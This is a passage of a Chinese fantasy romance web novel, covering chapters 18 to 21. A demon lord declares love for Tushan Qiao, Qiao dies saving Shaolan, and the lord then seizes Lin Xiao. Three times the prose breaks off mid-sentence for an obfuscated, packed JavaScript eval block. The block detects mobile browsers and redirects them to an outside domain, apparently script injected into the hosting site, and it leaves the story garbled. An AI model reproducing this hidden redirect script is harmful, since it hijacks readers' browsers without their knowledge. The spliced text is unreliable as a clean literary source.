焚风魔君眉峰紧蹙,眼中满是困惑:“身为影身,一旦背离使命,便会魂飞魄散,你难道不知?” 涂山桥洒脱地松开双手,淡淡一笑:“死便死了,有啥可惜的?” “本座不准你死!”焚风魔君语气强硬,眼神里带着不容置疑的霸道,“双鸾镜在我手中,只要林啸尚在人间,我便能重塑另一个你。” “邢戚,这份好意我心领了。”涂山桥目光柔和,笑意却带着几分苦涩,“兰姐姐把我当作少衡的影子,罗刹谷和涂山众人视我为复仇棋子,就连皇甫上仙,也总在我身上寻觅林啸的踪迹。唯有你……”他顿了顿,眼中泛起微光,“唯有你当我是独一无二的涂山桥,而非谁的替代品。” 话音陡然一沉,他神色肃然:“可你想过没有?即便用双鸾镜重塑影身,那真的会是我吗?不过又是个替身罢了!”他猛地抬头,眼底燃着执拗的光,“我涂山桥,宁可魂飞魄散,也不要世上再多个‘替身’!” 焚风魔君垂眸不语,涂山桥所言是他从未考虑过的角度。他从未想过,自己若放弃复兴魔界,还能做什么。也没想过若创造另一个林啸的影身,到底是是涂山桥?还是另一个可悲的替身。 但一想到眼前人会消散,喉间似有千言万语哽住,胸腔里莫名翻涌的委屈却无处宣泄,只能用带着几分哀怨的目光直直望着对方。 涂山桥见他这副模样,唇角勾起一抹清浅笑意,语调轻快:“邢戚,方才你说随我挑选住处,你宫里最好的寝殿是哪间?” 焚风魔君怔了怔,下意识脱口而出:“自是本座的寝宫……” “那便定了。”涂山桥眉眼弯起,笑意狡黠,“今夜我就住你寝殿。” 焚风魔君耳尖泛起薄红,喉结不自然地滚动了一下,眼神躲闪间又忍不住瞥向涂山桥:“你……你当真要住本座的寝宫?” “自然。”涂山桥笑意盈盈,眼尾扬起一抹狡黠,“好容易来趟魔界,不住最好的岂不亏了?你不会想食言吧?君子一言,驷马难追哦。” 焚风魔君不再多言,掌心突然覆上涂山桥的手,温热的触感裹住他的指尖。“既如此,”他嗓音低沉,带着几分不易察觉的急切,“随我回寝宫。” 涂山桥笑意微敛,眼尾漾开一抹调侃:“不劳魔君大驾,让门口那位美貌侍女引我前去便好,怎敢劳烦魔君亲自带路?” 焚风魔君的脚步陡然僵住,周身气息沉了一瞬,语气带着几分漫不经心的强硬:“本座只说同意你住寝宫,又没说我要出去。 “你我二人同宿一室?”涂山桥眉峰轻挑,眼中满是意外,“传闻中,魔君向来厌恶与人亲近,独来独往、冷傲孤僻,如今倒要与我共享寝殿?这可与传言大相径庭。” 焚风魔君挑眉,语气漠然:“本君行事,轮不到旁人指指点点。” 涂山桥哈哈大笑:“魔君,你可知我在妖界什么名声?我三年内坐上焚天盟左使位置,除了自己是天境后期修士原因,另一个重要原因就是我擅长魅术,与人谈判的关键时刻,往往用魅术蛊惑人。加之我有魅妖和九尾狐血统,其它妖修便说我以美色惑人。哈哈哈,魔君,你若与我同寝一宫,小心人言可畏啊……” 焚风魔君目光扫过涂山桥眉眼,漫不经心地说道:“他们谣传你美色惑人,难道不是因为你生得好看?” 涂山桥大笑不止:“堂堂魔君,若当着众人面这般夸赞,小心被人编排哦。” 话音未落,焚风魔君勾起嘴角,长袖一挥,殿门轰然洞开。屋外侍女侍卫的目光齐刷刷投来,将殿内景象看得一清二楚。 他伸手稳稳扣住涂山桥的腕间,声音低沉而笃定:“阿桥,该走了。”说罢,牵着人便往寝殿方向走去,全然不顾周遭骤然抽气的动静。 18. 情深 涂山桥任由焚风魔君携着他步出长风殿,沿着回廊往寝宫方向缓行。青石廊道曲长幽深,每隔三五丈便悬着浑圆剔透的夜明珠,珠光摇曳间,将两人并肩的身影时而拉长,时而缩短,在砖墙上交织出斑驳的光影。 不知是否有意为之,焚风魔君所行之处皆是人来人往的要道。沿途不断有侍从侍女垂首敛衽,恭谨行礼。待他们走过,细碎的私语声在身后悄然响起,窸窸窣窣,此起彼伏。 涂山桥本来还想打趣,毕竟自己原本的使命就是要靠美色魅惑焚风魔君,可当他眼尾余光瞥到身侧之人上扬的嘴角时,笑意骤然凝固,心中蓦地沉重。 更何况,涂山桥清晰地听到侍女们的议论。 “你们看见了吗?魔君竟牵他的手……” “红衣公子生得这般昳丽,也难怪魔君动了心。” “快看,魔君在笑!我当真是头一回见。” …… 涂山桥将那个念头压在心底,欲言又止。两人就这样牵着手,踏着满地摇晃的珠光,在悠长的回廊里沉默前行。 终于到了寝宫门前,焚风魔君松开手,抬手请涂山桥入内。屋内早已备下一桌珍馐,金樽玉盏盛着陈年佳酿,水晶盘里各色奇珍异果堆成小山,馥郁香气萦绕鼻尖。 “阿桥,看看可有合你心意的?”焚风魔君执起酒壶,玫瑰色的酒液流入夜光杯,“若不合口味,我即刻命人重做。”说着将酒杯轻轻推到涂山桥面前。 涂山桥望着杯中摇曳的酒光,神色淡然:“不必麻烦。我等修士早已辟谷,这些饮食不过是为了满足口腹之欲罢了。” “阿桥,你在躲着我。”焚风魔君目光紧锁对方闪躲的眼神。 “魔君,你该不会……”涂山桥话出口便后悔,后半句吞回喉间。 “阿桥,本座觉得,我喜欢上你了。”焚风魔君倾身逼近,字字灼热。 “魔君什么样的美色没见过?何必羞辱在下。”涂山桥淡漠说道。 “本座发誓,我绝不是玩弄你,我是真心的!”焚风魔君神色骤变,双手牢牢扣住涂山桥肩膀,迫使他直面自己。 涂山桥却别过头,拒绝看对方。 “为何不肯看我?”焚风魔君松开手,玄衣下的身影竟显出几分单薄,沙哑地质问。 涂山桥冷冷说道:“魔君若需要美色,宫内美女如云,她们比在下合适。” 说完就要起身,却被一双臂膀牢牢按在怀里。 对方力气出奇得大,涂山桥怎么挣扎也脱不开。 “为什么?本座法力高强、位高权重、相貌俊美,还对你如此深情,你为什么就不能直面我的感情?” 剧烈起伏的胸膛,混着颤抖的低语,无一不在昭示着这份炽热得近乎疯狂的真心。 越是这样,涂山桥越不知如何是好。 若是贪图美色还好说,可没想到对方竟动了真情。 “阿桥,我对你说忘了血肉消融疼不疼是假的。那种痛苦,过了一万年我还清晰地记着。可你的到来,让我避免再次体验那种痛苦。你还告诉我,我可以背离使命,选择自己的人生。” “听到你这句话,我才觉得自己好像活过来了。上万年的岁月我都经历了,却在此时,好像才苏醒。阿桥,我想与你永不分离。” 焚风魔君话音未落,双臂骤然收紧,将人牢牢嵌进怀中,仿佛要将满心滚烫都揉进对方骨血。 “阿桥,宫内女子虽多,我却从未与她们有半分纠葛。真的,否则这么多年,你也没听闻我有孩子罢。” 呼吸急促间,温热的气息拂过颈侧:“在遇见你之前,我向来蔑视情爱。每日除了闭关苦修、清理异己,便是逗弄灵兽园中那些坐骑。”环在腰间的手臂微微发颤,“可你不一样,若这番心意有假,我甘愿魂飞魄散,永世不得超生!” “邢戚,我信你,但我无法与一个屠戮人间、残杀同族的魔头谈感情。”涂山桥漠然说道。 “你骗人……”焚风魔君一把推开涂山桥,“你当初救我时,可不是这么说的……” “邢戚,你我此生无缘……” “你还是在介意我是魔头。”焚风魔君眼眶发红,眸子泛起异样的红光,周身魔气不自觉翻涌,“出身不过是天定,可你却总揪着不放。” “出身只是天意安排,你做过什么,确是不争的事实。先不说妖界,这百十年来,人间民众活下来的,不过十之二三,除去战争、瘟疫等缘故,主要便是魔界操纵的胡掳南下所为。” “我天马山的洞府里,收留着许多侍女。她们本是普通凡人,我将她们从妖魔爪下救出,却不知该送她们去何处——她们的父兄,早已因种种缘故离世。” “或许在魔君眼中,她们不过是能提升灵力的灵石。可她们也是人,有父兄亲朋,有喜怒哀乐,有自己的希望与憧憬。她们是活生生的生命,不是蝼蚁,不是任人宰割的两脚羊,更不是供人汲取灵力的工具!” 涂山桥话音落定,目光沉静地望着焚风魔君。对方脸上痛苦之色愈发浓重,紧咬的牙关微微发颤。 “原来从一开始,我就没有机会,是吗?”焚风魔君声音哽咽,眼眶泛红,周身翻涌的魔气如怒涛般肆虐,似要将周遭一切吞噬。 涂山桥心中泛起一丝怅然,轻叹道:“未曾想,你竟是这般情深。若有来世……我定不会负你。”他转身欲走,却不料手腕一紧,整个人又被拽入那炽热的怀抱。 “阿桥,陪我饮两杯再走,可好?”焚风魔君近乎哀求地低声询问,透出几分卑微。 未等涂山桥回应,他已半扶半揽着人落座,随即又倒上一杯酒,递给涂山桥。 “这是你喜欢的葡萄酒,虽不如照月白,但也醇香甘甜。方才我特意派人去天马山打探了你的喜好。” 案几上摆满炒栗子、糖山楂、酸酪、樱桃、杏干等吃食,“都是你爱吃的。”他推了推几案,喉结微动,“尝尝?” 涂山桥木然接过焚风魔君递过来的吃食,放进口中后,咽下去却十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535504|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艰难。 他此生受够了虚情假意,却没成想换来了一个十恶不赦魔头的真心。 这等真心却不可接受。 想到这里,一滴晶莹的泪珠从眼角涌出,静静滑落。 “阿桥,是我又让你为难了?”焚风魔君喉间发紧,颤抖的手指悬在半空,最终轻轻拭去涂山桥颊边泪痕,“只是想请你吃些东西,也错了吗?”他声音沙哑,带着强压的哽咽,“若实在不愿见我,便走吧。只要你能好好活着……” 这话如重锤砸在涂山桥心口,他浑身僵住,喉结动了动才挤出破碎的字句:“我……怕是没多少日子了。” 焚风魔君如遭雷击,指尖死死攥住对方袖口:“你说什么?这话到底什么意思?” 涂山桥忽然扯出一抹嘲讽的笑,猛地转头直视焚风魔君:“邢戚,影身不过是用完即弃的棋子,完成使命就该烟消云散。” 他顿了顿,语气里带着几分解脱般的苍凉:“我的任务本就是让你动情,好破了魔功根基。方才我突然明白,一切都结束了。” 焚风魔君僵在原地,双目猩红地摇头:“不可能……,你在骗我!阿桥,你一定是在骗我!” 涂山桥淡淡一笑,显出几分凄美,他突然上前两步,轻轻抬头,亲了下焚风魔君的脸颊。 “临死前,还要谢谢你热情款待。” 焚风魔君浑身僵硬,满脸不可思议。 涂山桥亲完,转身欲走,不料手腕突然被紧紧攥住。 焚风魔君猛地将他扳过来,滚烫的手掌扣住他后颈,带着颤抖的吻狠狠压下来。这个吻霸道又生涩,像是要把满心的惊惶、不甘都揉进这最后的触碰里。涂山桥被吻得几乎喘不过气,却在这近乎失控的亲吻中,真切触到了对方灼人的真心。 这一吻像是没有尽头,焚风魔君的手死死扣着他的后颈,力道大得几乎要将人揉进骨血里。涂山桥没挣扎,直到感觉窒息得喘不过气来,喉咙发腥才抬手推了推。 “轰隆”一声巨响,殿门被撞得粉碎。少兰提剑冲进来,声音都变了调:“放开阿桥!” 两人猛地分开。涂山桥踉跄着后退,还没站稳就被少兰一把拽到身后。少兰剑尖寒光直指焚风魔君,他却像被钉住了似的,看着涂山桥被拉走,连一步都没迈出。 见焚风魔君并未出手,少兰转头看向涂山桥,满脸愧疚和自责,却又立即转为惊异和恐慌:“阿桥,你怎么回事?为何气息这么虚弱?难不成……,莫非这魔头已将你炼为炉鼎,方才在采补你?” 涂山桥面上还有些发红,连忙解释,“不是这样的,兰姐姐你莫要误会……” 少兰神色复杂,很不是滋味:“阿桥,兰姐姐知道你身为男子,有的事难以启齿。但都这个时候了,你还不肯说实话么?我们罗刹谷有炉鼎受伤后如何恢复的秘术,等我们回去后就为你施展。” 涂山桥知道一时解释不清,只好转移话题:“兰姐姐,三日之期未到,怎么你一个人来了?皇甫上仙呢?” 19. 身陨 涂山桥觉得,皇甫伯游在几人中修为最为高深,又接下焚风魔君的战书,不可能由着少兰一人来魔界。 少兰听涂山桥说出心中疑惑,也有些迟疑:“不知为何,上仙来到魔界后,突然感到神魂有些不稳,说要寻个稳妥处静坐调息。” 少兰随后又神色凝重地看了涂山桥一眼:“我本来只是想来魔宫探探,不料听到侍女们议论,说魔君要宠幸一位红衣男子。于是连忙赶来寝宫,不成想恰好撞见这魔头在侮辱你……” “兰姐姐,你误会了,事情不是这样……”涂山桥一时语塞,但任他平日巧舌如簧,也顿觉三言两语说不清。 少兰见涂山桥吞吞吐吐,对于自己的推测更确信了几分,于是安慰说:“阿桥,你放心,我不会对外说出去的。” “……”涂山桥明知少兰误会,却也不好解释,心里有些哭笑不得。 少兰随即回头看向焚风魔君,恶狠狠说道:“焚风魔君,我本来敬你行事坦荡,没想到你却趁人之危,居然能做出此等不知廉耻之事……” “魅魔,你平日在魔界什么名声?有何颜面说本座不知廉耻?!”焚风魔君冷哼一声,轻蔑说道:“手下败将又有何资格议论本座!” 少兰怒目圆睁,长剑直指大殿中央:“今日我便替阿桥讨个说法! “就凭你?”焚风魔君直立在大殿中央,周身魔息翻涌,冷笑中带着十足的轻蔑。 少兰长剑破空,青光如电直取焚风魔君面门。焚风魔君周身魔气翻涌,凝成利爪迎上,两股力量相撞,顿时金铁交鸣之声震耳欲聋。大殿内符咒阵纹迸,青砖炸裂,碎石纷飞。 “不自量力!”焚风魔君冷笑,掌心魔气暴涨。少兰仓促举剑抵挡,却被震得虎口崩裂,整个人倒飞出去,重重砸在石柱上。鲜血顺着嘴角溢出,她咬着牙想要起身,却见焚风魔君已欺身而至,魔掌挟着厉风,直取她命门。 千钧一发之际,一道红影疾闪而来。涂山桥张开双臂挡在少兰身前,衣袂被气浪鼓得猎猎作响。邢戚收势不及,全力拍出的魔掌狠狠砸在他心口。闷响震得殿内烛火猛地一暗,涂山桥喉头一甜,鲜血喷涌而出,将少兰颤抖着伸来的双手染得通红。他晃了晃,直直往后倒去。 “阿桥——”两声急呼回荡大殿。 少兰受了伤行动迟缓,被焚风魔君抢先一步抱起涂山桥。 涂山桥抬头看向焚风魔君的眼睛,神色认真:“邢戚,放兰姐姐走。” “阿桥,你这又是何必?你想带她走,与我说便是。为什么要接下这一掌?”焚风魔君的声音略带了几分哭腔。 毕竟涂山桥本就虚弱,硬生生挨了这一掌,身影似乎都淡了几分。 “邢戚,这是我送你的礼物。离世之前,我想告诉你,杀戮不是解决问题的上策,化解误会才是。你放不下自己的使命,但复兴魔界、夺回人间,只能靠屠戮凡人吗?” “凡人崇拜神仙,靠的是信仰,而非杀戮和威慑。你的追随者因夺灵之术迅速提升法力,你觉得,他们若有一日境界超过你,会对你如何?” “杀光天下凡人,人间还叫做人间吗?你确定能夺回天界吗?神魔大战之时,魔界不乏混元古魔,尚且不能成功。你有没有想过,原身给你留下的,也许是个不可能完成的任务?” “总有一些事情,是武力解决不了的。我已完成使命,马上就要消散于世间。你若是真心,待我走后,就不要为难兰姐姐、焚天盟和罗刹谷。当然,我最希望的,是你莫要再屠戮无辜凡人。” “若你不再将弱小生灵视为蝼蚁践踏,我也许会爱上你……” 涂山桥的话音渐渐微弱,气若游丝,鲜血顺着嘴角缓缓溢出,在苍白的唇边勾勒出刺目的痕迹。 “阿桥,莫再说话了……”焚风魔君声音发颤,指尖轻轻拭去那抹刺眼的血色。他紧紧握住涂山桥的手腕,本想将那无力的手掌拍打自己,却见对方因牵动伤口而微微蹙起眉,连忙将那只手捧到唇边,轻柔地吹了吹,试图缓解一丝疼痛。 “阿桥,从前我满心只有复兴魔界、踏平人间、攻下天界,可自从遇见你,才晓得欢喜是这般模样。如今连清风拂面、明月悬空、流水潺潺、虫鸣悠悠,都让我觉得这世间有趣。可若没了你,这些事物就会重新寡淡无味。” “阿桥,除了那非做不可的使命,你说什么我都应。求你别丢下我......我还有好多话没讲,我知道你爱吃的点心,也知道你心仪的刀剑、衣裳和配饰,全都命人备好了。你睁眼瞧瞧,只要你想看,我现在就拿给你......” “阿桥,我真的还有好多话没同你讲,你都不知道我多么在意你……你不是想刺杀我么?你快好起来刺我一剑……你不是喜欢剑术么?我剑术也不错,我们一起对剑好不好……我还收藏了许多刀剑,全都给你……” 焚风魔君攥着涂山桥逐渐发凉的手,声音碎得颤抖。 涂山桥气若游丝,唇角艰难勾起一抹笑,眼尾凝着将坠未坠的泪,仿佛用尽全力伸手去摸焚风魔君的脸颊:“邢戚,我知道你的深情。我从前总以为,所有人都在我身上找别人影子。原来这世上,真有人把我当作独一无二……你若不是犯下滔天罪行,我早就忍不住动心了……” “不,阿桥,你根本不知道我对你用情多深!”焚风魔君扶着涂山桥的手,将脸贴过去,声音却透出一丝委屈。 “我知道,别忘了我的使命是什么?你若不是真心,我根本不可能这么快油尽灯枯。你若用情不深,我也不可能连你一击也接不下。别忘了,我原本也是天境后期修士——”涂山桥说着,目光温柔,下一刻,却被缓缓阖上的眼帘遮住。 “阿桥——”凄厉的痛呼撕破魔宫死寂,焚风魔君死死箍住怀中渐冷的躯体,悲号在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林啸和少衡都在密室中运功疗伤,一旁还有丹霞子、玄灵子和皓须公在施法相助。 见少兰匆匆赶来,几人连忙收功起身。 “阿姊,你怎么独身一人回来了?皇甫上仙与焚风魔君打起来了么?阿桥可有大碍?”少衡率先问道。 少兰闻言,沉重叹息一声,将今日所见简略交代一遍。 “什么?!涂山桥已死?”少衡和林啸都十分惊异! “我没想到炼化阿桥出世那一刻,他的命运就注定了。无论完成使命还是背弃使命,等待他的只有死亡……”少兰满心自责,又忍不住感慨:“原来只有不停为使命奔忙,影人才能一直存在。” 在场人俱都心情沉重。 “少兰长老,你突然回谷,是怕焚风魔君来么?”林啸打断问。 20. 痴狂 林啸望向少兰,低声询问是否担忧焚风魔君前来。 少兰微微颔首,眉间凝着忧色:“此魔遭重创后神思疯癫、举止乖张,难保不会寻到罗刹谷生事,当务之急是即刻护送族人撤离。”她垂眸掩去眼底复杂神色,终是将焚风魔君妄图再炼林啸影身的隐秘压在心底。 少衡当即附和:“阿姊思虑深远,确是如此。” 少兰指尖无意识摩挲着衣角,神色忧虑地叹息:“可焚风魔君既已掌握罗刹谷入口,我实在想不出还有何处能安置族人......” 少衡目光坚定地望向少兰:“阿姊,护送族人之事便交予我吧。”他顿了顿,继续说道:“我继承了巫罗大人的部分神识,在他的记忆里,南方有个由巫族与妖族共建的巫蒙国。该国擅长防御禁制,至今未被魔界侵扰。巫蒙国国王曾多次邀巫罗大人前往,都以未寻到传人而婉拒。如今我率族前往投奔,想必会被接纳。” 少兰眼中阴霾尽散,露出惊喜之色:“好!事不宜迟,即刻动身!” 话音方落,三位涂山长老神色凝重,直言中原局势动荡难安,已决定带领涂山族人投奔西北方的妖国避难。说罢,他们不再耽搁,匆匆启程,赶回涂山筹备撤离事宜。 少兰与少衡神色凝重,马不停蹄地召集族人,有条不紊地交代转移事宜。林啸对罗刹谷地形尚不熟悉,加之法力尚未恢复,便主动承担起在谷口布设防护阵法的任务。 阵法布设期间,接连有魅妖错将林啸认作涂山桥,还笑着调侃他为何装扮得如此朴素。 林啸这才发觉,原来涂山桥在罗刹谷人缘不错。为避免众人因涂山桥去世而难过悲伤,林啸只是淡淡一笑,默许了大家的误会,未作任何辩解。 林啸专心调试阵法符文时,忽觉衣角一沉。低头便见个梳着双髻的小魅妖踮脚攀着他手臂,亮晶晶的眼睛直勾勾盯着他:“桥哥哥,快把蜜枣交出来!” 林啸虽也偏爱甜食,此刻身上却未备半颗蜜饯,只能无奈摇头:“今日实在没带......” “骗人!”小魅妖突然瘪起嘴,眼眶瞬间蒙上水雾,“你上回明明说,等我长高就能吃到桥哥哥的蜜枣!” 林啸望着孩童委委屈屈的模样,心头一软,抬手揉了揉对方翘起的发梢:“这次来得匆忙,下次见面,定给你带满满一袋,好不好?” “才不要听你的!每回都说下次……”小魅妖仰着泛红的脸颊,鼻头一抽一抽,清亮的嗓音带着哭腔在林间回荡。 就在林啸手足无措时,一只骨节分明的手突然探入视野,将个裹着牛皮纸的油纸包塞进小魅妖怀里。 “给你的。”低沉嗓音裹挟着森冷气息扑面而来。 林啸心下一惊,方才亲手加固的防御阵法竟未发出半分预警,这闯入者的修为已可怖到何种地步?他猛然转身,刹那间僵在原地——来人果然是焚风魔君! 焚风魔君面色苍白,眼眶微微发红,目光死死锁住林啸,喉间溢出一声沙哑却轻柔的询问:“这孩子刚刚叫你……桥哥哥?” 话音未落,林啸已猛地挡在小魅妖身前,指尖微微发白,冲孩子厉声道:“快走!” 焚风魔君任由小魅妖离开,他的目光未从林啸身上移开半分,恍若未觉对方紧绷的戒备,上前一步,拉起林啸的手,柔声说道:“阿桥,随我回家吧。” 待小魅妖的身影彻底消失,林啸猛地挣动腕间桎梏,眼底腾起戒备:“魔君,你我心知肚明——我不是涂山桥。” “你就是!”焚风魔君指节骤然收紧,黑袍随着呼吸起伏,眸中透出几分偏执,“方才谷中众人唤你涂山桥,你明明没否认!” 林啸冷笑一声,手腕试图挣脱,却被攥得更紧。对方掌心的温度灼人,将他死死缠住。林啸索性不再挣扎,仰头直视焚风魔君:“凭你的修为,怎会分不清我和涂山桥?不过是自我欺骗罢了。” 焚风魔君充耳不闻,长臂一揽便将林啸锢入怀中。林啸奋力挣扎,却如蚍蜉撼树,反被那人收紧了力道。 喉间发紧,林啸不得不扯开话题:“这罗刹谷入口的阵法为何没拦住你?” “阿桥,这阵法不过是小把戏,最多困住天境后期修士,怎会难得到我?”焚风魔君轻声解释。 “噢……这阵法都是我布置的。”林啸心想你礼貌吗? “本座的意思是,这阵法匠心独运、巧妙精致、令人赞叹,只可惜遇到了我,若是其他人碰上,定然有来无回。阿桥你真聪慧!”焚风魔君很快转换口风。 “呵,你嘴还挺甜。”林啸有些意外,略带嘲讽地说。 “阿桥,”焚风魔君松开林啸,扣住对方肩膀,使其正对自己,苍白面容泛起可疑的绯色,眸中涌动近乎滚烫的情欲:“我的嘴甜不甜,要不要尝一尝……” 话音陡然中断,焚风魔君倾身而下的刹那,林啸暗道不好,他素来不通男女之事,但眼下也看得出焚风魔君想做什么。 他自知与焚风魔君的实力差距,心下紧张万分,先不说被人强吻有些窝囊,这人还是个大魔头!在即将触碰的瞬间,突然急中生智,青光一闪,化为原型。 一只吊睛白额大老虎出现在焚风魔君面前。 焚风魔君立时顿住,看着近在眼前的老虎,神色惊慌、身躯僵直。 “你看清楚,我原型是老虎。涂山桥作为影身,实体虚幻,服下涂山狐族的幻颜丹后,身躯化为狐狸。”林啸看着焚风魔君一脸茫然,而自己已然脱离危险,得意地解释说。 焚风魔君眼底狂热骤然褪去,面色瞬间阴沉如铁。黑袍翻涌间,魔气凝成锁链缠住林啸脖颈,将他拽得踉跄前跌:“既不是阿桥,便随本座回魔界!” 林啸被勒得皮毛生疼,却仍梗着脖子挣扎:“咱们事先说明——我可不当坐骑!” 焚风魔君骤然回头,嘴角带着一丝苦笑:“我绝不会让你当坐骑的!” 林啸默然,幸亏焚风魔君还念及自己与涂山桥的关系。否则自己这般口无遮拦,不知道要死多少回了。 …… 魔气裹挟着他一路疾行,转眼便到了魔界深处。推开寝殿大门,满地碎裂的琉璃盏、翻倒的案几尚未收拾,血腥味在殿内弥漫。显然自涂山桥死后,这里无人敢擅自踏入半步。 焚风魔君黑袍翻卷,长袖一挥,满地狼藉应声而起。碎瓷片在空中重新拼合,倾倒的烛台自动归位,唯有立柱上那道暗红血痕依旧狰狞刺目,像是一道永远无法愈合的伤口。 林啸甫一踏入殿门,便觉灵台发昏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一只吊睛白额大虎匍匐在地,琥珀色竖瞳紧紧盯着满桌珍馐美酒。焚风魔君垂眸执起案上零嘴,指尖微动,那老虎便懒散地仰头,张口吞下食物,喉头滚动着细细咀嚼,待滋味尝尽才缓缓吞咽。 “你要吃多少才会变成人形?”焚风魔君有些不耐烦地问道。 “你之前擅闯密室,强行催动阴阳镜,我的灵力一大半输送到了少衡身上,现下又到了魔界,难得我还能调出灵力抵御魔息侵扰。你就算用双鸾镜照射,我如今灵力衰微,怕是炼化出的影身没什么修为。搞不好是个凡人,那可就受不了魔界如此浓重的魔息了……”林啸耐心解释。 “你到底想怎么样?” “我要安安静静修行,谁也不能打扰,这样恢复到原本境界后,才能炼化出一个强大的影身。差一分一毫,可能都不是涂山桥了。”林啸心口胡诌,其实他根本不懂炼化影身,只是眼下拖得越久越好,没准今日斗法后,皇甫伯游赢了呢。 “好,本座这就带你去一处灵力充沛之地。”焚风魔君说完,又牵起锁链,“少兰,本座劝你不要多事!” 话音一落,黑衣魔君连同老虎一起消失了。 少兰料想焚风魔君不会在大战前耗费太多法力,于是偷偷跟上。 21. 等待进入网审 焚风魔君将林啸扔进焚风洞,随即在洞口设下禁制。 “你且在此潜心修行,待我夺得青麟镜,自会来见你。”焚风魔君丢下这句话,身影瞬间消失在原地。 焚风魔君原本是神魔境后期巅峰,皇甫伯游刚步入太乙金仙境后期,所以二人虽同阶,境界差距依然悬殊。 待焚风魔君身影消失,林啸蜷伏的兽躯猛然舒展,化作人影立在阴影中。他眉间微蹙,神色复杂,许久才沉沉叹了口气。周身灵力隐隐透出天境后期的气息,刚才刻意维持原型,不过是避免焚风魔君察觉境界。 涂山桥身死魂消,残留在魔宫寝殿的神识灵息却未曾消散。林啸踏入大殿的瞬间,那缕蛰伏三日的灵识如离弦之箭,不由分说灌入他的灵台。也正是这突如其来的灵力冲击,使得境界恢复,也让他当场昏厥。 林啸识海深处,涂山桥的记忆如乱云涌动。那些未及消化的过往碎片里,爱恨交织的纠葛令他喟然长叹。若非涂山桥在大义面前守得住本心,只怕早已陷入焚风魔君的深情之中。 他望着洞外天际,不知皇甫伯游与魔君的战局已至何种境地,胸中莫名涌起一股牵挂,决定前去一探究竟。 阵法禁制亦是林啸所长,但洞口的禁制一番拆解下来,自己的法力不够,恐怕只有突破金仙境初期才可以,看来焚风魔君多了个心眼,以防自己太快恢复境界逃走。 正当林啸皱眉苦思之时,一道熟悉的声音从洞外传来。 “林道友,你我二人合力破除禁制如何?” 是少兰的声音。两个天境后期配合得当,也有金仙境初期的威力。 “好,有劳少兰长老了!” …… 焚风之野罡风怒号,皇甫伯游与焚风魔君剑刃相撞,寒芒四射,剑气纵横间卷起漫天黄沙。四周围观者越聚越多,能在这凌厉剑气中稳立的,自然也非泛泛之辈。 焚风魔君身后,十二魔将威武伫立,长刀出鞘,煞气翻涌。而皇甫伯游后方,魔界新一代长老并肩而立。 他们本是前代长老亲传弟子,当年天狼重伤昏迷后,为保族人及门人周全,前代长老只得假意归附焚风魔君。却不料被魔君派去阻拦皇甫伯游影身顾惊澜,致使数位前长老殒命。 如今,新一代长老们深明大义,又得刚苏醒的会长天狼劝说,终是暂释师门旧恨,在此以无形威压震慑魔将,避免群起围攻之祸。 “渊卿,袤原,折非,你们别忘了自己的师父是被谁杀的!杀师之仇不报,是为不孝,枉为弟子!”焚风魔君身后的一位魔将向对面长老会喊到。 渊卿是新一代五行长老中的水魔,袤原是土魔,折非是木魔,在新一代长老中,只此三人突破到神魔境初期,其余都是天境后期。 长老会这边,意魔、新任梦魔和沙魔只是天境中期,冰魔性情孤僻,都未前来,所以只有五行长老、情魔、盗魔、风魔、毒魔等九位到场。 而魔将这一方都是天境中、后期,因此,只要说动这三位神魔境不出手,自然胜券在握。 岂料长老会众人虽与皇甫伯游素有积怨,却仍心怀大义。情魔辛青反应极快,朗声斥道:“你们这群屠夫,哪个不是杀了旧主转投焚风魔君麾下?这般不忠不义之徒,竟还有脸指责我们?” 面对这般质问,魔将神色微变,迅速转移话锋:“天狼伤势未愈,正是大势将倾。只要几位肯弃暗投明,魔君必定厚待!” “诸位这般精通''弃暗投明'',倘若焚风魔君身死,下一个投奔的主子又是谁?莫不是……阴溟魔君?”长老会中的盗魔东方恪挑眉冷笑,字字如刃。 辛青立刻接话,刻意用法力扩散接下来的发言:“东方兄所言极是。阴溟魔君刚投诚焚风便获封元帅,若焚风魔君此时殒命,岂不正好遂了他的野心?对面几位将军,不乏阴溟旧部,日后再''改换门庭'',想必默契依旧、轻车熟路。”这番话如毒针般刺向远处,特意要传入焚风魔君耳中。 半空之中,焚风魔君周身魔气微微凝滞,那道黑影竟有一瞬的恍惚,显然已被言语挑动了疑心。 辛青见这番话语奏效,忍不住在长老会传音法阵里问:“焚风魔君果然状态不佳,他宠爱的红衣男子身死的传闻,莫不是真的?” 东方恪轻叹一声,灵力凝成的音波透着警告:“此事凶险,劝你不要提及,但我也不会阻拦。若焚风魔君取胜,你在大庭广众之下议论这些,可想过会招来什么后果?” 毒魔皱起眉头:“焚风魔君万年来不近美色,岂会为男子动情?辛青,莫要轻信宫闱流言,免得误了大事......” 激战正酣,焚风魔君与皇甫伯游招式胶着,难解难分。忽见焚风魔君袖中飞出一尊古朴青铜觥,觥盖乍开,万千幽影如黑雾喷涌而出——那是他经年累月收集的游魂,历经淬炼,早已化作听凭驱使的怨魂死士。 这些冤魂单论实力虽不足为惧,却裹挟着万载不散的暴戾怨念,又在漫长岁月中自行修炼魔功,缠斗起来极为难缠。皇甫伯游仓促布下的防护屏障,在怨魂浪潮冲击下如薄冰遇火,瞬息间便轰然破碎,逼得他不得不分心抵御。 